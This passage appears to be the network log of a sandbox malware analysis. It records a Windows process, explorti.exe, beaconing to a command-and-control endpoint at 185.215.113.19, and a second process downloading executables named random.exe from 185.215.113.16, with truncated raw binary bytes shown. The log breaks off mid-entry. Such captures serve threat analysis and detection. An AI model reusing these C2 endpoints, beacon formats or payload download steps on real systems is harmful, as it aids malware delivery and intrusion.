Jul 27, 2024 05:39:18.030301094 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 27, 2024 05:39:18.283029079 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49485	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:18.399153948 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 05:39:19.167004108 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 05:39:19.167723894 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 27, 2024 05:39:19.418025017 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49486	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:19.588887930 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 05:39:20.341567993 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 05:39:20.345474958 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 27, 2024 05:39:20.595143080 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49487	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:20.711359024 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 05:39:21.474814892 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 05:39:21.477494001 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 27, 2024 05:39:21.727302074 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49488	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:21.897248030 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 05:39:22.672375917 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 05:39:22.673079967 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 27, 2024 05:39:22.925422907 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49489	185.215.113.16	80	8052	C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:22.486762047 CEST	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Jul 27, 2024 05:39:23.251472950 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:23 GMT Content-Type: application/octet-stream Content-Length: 1955840 Last-Modified: Sat, 27 Jul 2024 03:09:26 GMT Connection: keep-alive ETag: "66a464e6-1dd800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 10 41 a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e6 04 00 00 ca 01 00 00 00 00 00 00 40 4d 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PJr>r>r>=r>;(r>]:r>]=r>];r>:r>?r>r?^r>7r>r><r>Richr>PELAf@M@pMs@Wk\|-M,-M @.rsrc@.idata @ +@lybfcffvp2@emchirzz0M@.taggant0@M"@
Jul 27, 2024 05:39:23.251528025 CEST	164	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 27, 2024 05:39:23.251564980 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 27, 2024 05:39:23.251599073 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 27, 2024 05:39:23.251631975 CEST	328	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 27, 2024 05:39:23.251667976 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: `C@E:hElEc0#:P+uh&Z(wVTU#`}l"hh1
Jul 27, 2024 05:39:23.251701117 CEST	224	IN	Data Raw: 75 e2 49 e5 59 7f 24 69 01 c3 3f 21 46 99 c3 d2 b5 b9 a4 55 8a a7 25 4c de cb 1f d5 b4 2f 4c a5 89 b9 08 7b f4 76 68 82 86 83 24 28 cf 3b 4c 21 9a ab 1f e1 f3 8b e4 27 f5 58 a5 5c f2 af d4 eb 5d eb 89 68 12 fb 1b e1 a5 57 64 cc 59 cb 14 85 35 ba Data Ascii: uIY$i?!FU%L/L{vh$(;L!'X\]hWdY5Ar%u7Su{6VZ\Z_2U%\|$_UYG%uQcY/0Siv$Th9y5q4=UVe)P%L
Jul 27, 2024 05:39:23.251734972 CEST	1236	IN	Data Raw: 99 ac 3f e1 93 6b 25 e8 bb 7b 58 7d f6 8c 00 7e f7 96 4c 15 3b 37 02 8c 3d 2c c4 84 86 b0 cc ab b3 02 18 87 95 8d a5 04 1a bc 24 31 fc 89 1f 55 e6 5d cd 87 dd 9f 38 c5 f5 9b 7c 61 5f 36 4c 35 5a b9 43 99 e1 d9 ca a0 96 af 2e 1d 71 bf 14 86 35 33 Data Ascii: ?k%{X}~L;7=,$1U]8\|a_6L5ZC.q53$,QUUUf;\*k\k$UU/vc/P]{\l\|fVT?#{,&3Wt]uTZZlvDUa%+ u%lkADNVRL
Jul 27, 2024 05:39:23.251771927 CEST	104	IN	Data Raw: e2 31 cf c3 8c cd 7f 97 d7 7e 20 70 9c 16 0f 5c 32 b2 a8 62 00 80 b4 65 b0 9d 04 e7 11 a9 04 bd e3 c1 0c 25 0a 6b cd 37 62 da 3b 27 b2 85 d4 12 41 be d0 b2 d8 d6 c6 79 59 f0 c6 17 5d 57 17 f7 04 11 58 9b cd e2 c3 dd c1 9f 08 99 54 8b 82 dd 21 ca Data Ascii: 1~ p\2be%k7b;'AyY]WXT!gjL<\['<t
Jul 27, 2024 05:39:23.251801968 CEST	1236	IN	Data Raw: a5 ff 58 bd 7f cc d7 11 52 6d 73 e9 d9 b6 91 03 2a f2 30 8d 62 81 78 21 45 95 20 e5 13 a2 05 e8 4d 79 30 37 f6 40 3a ad 05 71 54 23 2e 31 3a ae 03 4c 50 9d e0 ba 4c 43 d9 04 58 5d 18 bf 37 67 d4 62 5c 0d e7 5a 69 30 4d 12 ec e2 8a 1a 47 eb f3 6f Data Ascii: XRms0bx!E My07@:qT#.1:LPLCX]7gb\Zi0MGoX+}(,5?T;RdS+^k]<H[wPikBjU%F1=Bory\|+:b9#;TORaAO9>Gvj*46}T'T
Jul 27, 2024 05:39:23.256791115 CEST	1236	IN	Data Raw: 56 f5 76 9d 65 81 91 61 ae 8d 45 1d e6 31 6f cc 78 af 72 0e ad c8 dc 2c 88 0c c3 85 e2 2b d4 fe 1d 1f 68 cb a4 b3 64 75 95 04 0c 51 c7 ca 6d 2a 74 54 8b e8 45 ea 50 13 86 e4 8c c4 ac 79 79 c5 3d 17 d9 21 f2 09 3a 36 c0 ba 40 65 ca cc 33 10 24 7e Data Ascii: VveaE1oxr,+hduQmtTEPyy=!:6@e3$~nJ4&(lIBzCVUhS[{T3TaYzT,Tp=]e4_"zfms#/sC4v(ulekx9lk:@]& B(i@&QY{1_6>9}
Jul 27, 2024 05:39:25.313227892 CEST	80	OUT	GET /soka/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Jul 27, 2024 05:39:25.560199976 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:25 GMT Content-Type: application/octet-stream Content-Length: 1879552 Last-Modified: Sat, 27 Jul 2024 03:10:02 GMT Connection: keep-alive ETag: "66a4650a-1cae00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 be 40 a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e6 04 00 00 ca 01 00 00 00 00 00 00 90 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PJr>r>r>=r>;(r>]:r>]=r>];r>:r>?r>r?^r>7r>r><r>Richr>PEL@fJ@J^@WklrJrJ @.rsrc@.idata @ 0*@finyobjn0@cveoqpquJ@.taggant0J"@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49490	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:23.041244984 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 05:39:23.811347961 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 05:39:23.812100887 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 27, 2024 05:39:24.057810068 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49491	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:24.164465904 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 05:39:24.942090034 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 05:39:24.942783117 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 27, 2024 05:39:25.198481083 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49492	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:25.323713064 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 05:39:26.083425999 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 05:39:26.102950096 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 27, 2024 05:39:26.352853060 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49493	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:26.464509964 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 05:39:27.244215012 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 05:39:27.245007038 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: 